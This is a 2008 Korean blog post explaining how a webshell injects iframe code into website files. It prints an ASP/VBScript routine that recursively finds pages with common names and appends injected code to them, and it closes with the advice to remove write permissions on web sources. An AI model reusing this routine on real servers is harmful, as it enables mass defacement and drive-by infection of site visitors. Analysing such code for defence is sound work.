Zasfe
Zasfe's memory
Zasfe
전체 방문자
오늘
어제
  • 분류 전체보기 (143)
    • 이야기 (50)
    • 뜻알기 (1)
    • 컴퓨터 (91)

인기 글

최근 글

태그

  • VBScript
  • Microsoft Windows 2000 Scripting Guide
  • webknight2.2
  • 보안
  • 배치파일
  • cmd
  • IIS
  • web.config
  • MSSQL2K
  • nslookup
  • webknight 2.2
  • 홈페이지 보안 강화도구
  • backup
  • ASP
  • Autoit
  • webhacking
  • MSSQL
  • rsync
  • 생각
  • webshell
  • webknight2.1
  • IIS7
  • Function
  • Security
  • Castle
  • Skin
  • webknight
  • error
  • 캐슬
  • 저장프로시저
hELLO · Designed By 정상우.
Zasfe

Zasfe's memory

웹쉘을 이용한 iframe 코드를 추가원리
컴퓨터

웹쉘을 이용한 iframe 코드를 추가원리

2008. 9. 9. 14:29

다음 구문은 Scripting.FileSystemObject 를 이용해서 하위폴더를 포함한 특정 디렉토리내의 특정패턴을 가진 파일명을 가진 파일을 기준으로 특정코드를 추가하는 스크립트 입니다.

Set fs=Server.createObject("Scripting.FileSystemObject")
Set fd=fs.GetFolder(s)
Set fi=fd.Files
Set sf=fd.SubFolders
For Each f in fi
    rtn=f.path
    step_all rtn
Next
If sf.Count<>0 Then
    For Each l In sf
        sch l
    Next
End If

Sub step_all(agr)
    retVal=IsPattern("(\\|\/)(default|index|conn|admin|bbs|reg|help|upfile|upload|cart|class|login|diy|no|ok|del|config|sql|user|ubb|ftp|asp|top|new|open|name|email|img|images|web|blog|save|data|add|edit|game|about|manager|book|bt|config|mp3|vod|error|copy|move|down|system|logo|QQ|520|newup|myup|play|show|view|ip|err404|send|foot|char|info|list|shop|err|nc|ad|flash|text|admin_upfile|admin_upload|upfile_load|upfile_soft|upfile_photo|upfile_softpic|vip|505)\.(htm|html|asp|php|jsp|aspx|cgi|js)\b",agr)
    If retVal Then
        step2 agr
    Else
        Exit Sub
    End If
End Sub
Sub step2(str2)
    Set fs=Server.createObject("Scripting.FileSystemObject")
    isExist=fs.FileExists(str2)
    If isExist Then
        Set f=fs.GetFile(str2)
        Set f_addcode=f.OpenAsTextStream(8,-2)
        if left(right(str2,8),4)="conn" then
            f_addcode.Write
        else
            f_addcode.Write addcode
            f_addcode.Close
            Set f=Nothing
        End If
    end if
    Set fs=Nothing
End Sub
 

Scripting.FileSystemObject 라는 개체를 이용하는 방법을 사용합니다.
웹사이트에서는 주로 파일에 대한 정보를 가져올때나, 실제 파일이 있는지를 체크하는 방법으로 많이 사용됩니다.

참고 : [MS기술문서] ASP 페이지에서 텍스트 파일을 조작하는 방법

윈도우서버에서 내장되어 있는 것이고, 웹사이트내에서 파일을 연결하는 부분에 제약이 발생하기때문에 이를 제거할수도 없습니다.

위와 같은 파일변조를 막는 방법은 웹소스의 변경 권한을 제거하는 방법뿐입니다.

사용자 삽입 이미지

'컴퓨터' 카테고리의 다른 글

nslookup 의 사용 방법  (0) 2008.09.29
ADODB 개체를 이용한 포트 스캔  (0) 2008.09.16
webknight 2.2  (0) 2008.09.07
[ Autoit / MSSQL ] 데이터베이스를 사용하고자 할경우  (0) 2008.09.04
[ Autoit / CmdLine ] 커맨드라인을 입력받아 처리하는 함수의 일부입니다.  (0) 2008.09.04
    '컴퓨터' 카테고리의 다른 글
    • nslookup 의 사용 방법
    • ADODB 개체를 이용한 포트 스캔
    • webknight 2.2
    • [ Autoit / MSSQL ] 데이터베이스를 사용하고자 할경우
    Zasfe
    Zasfe
    느낌. 기억

    티스토리툴바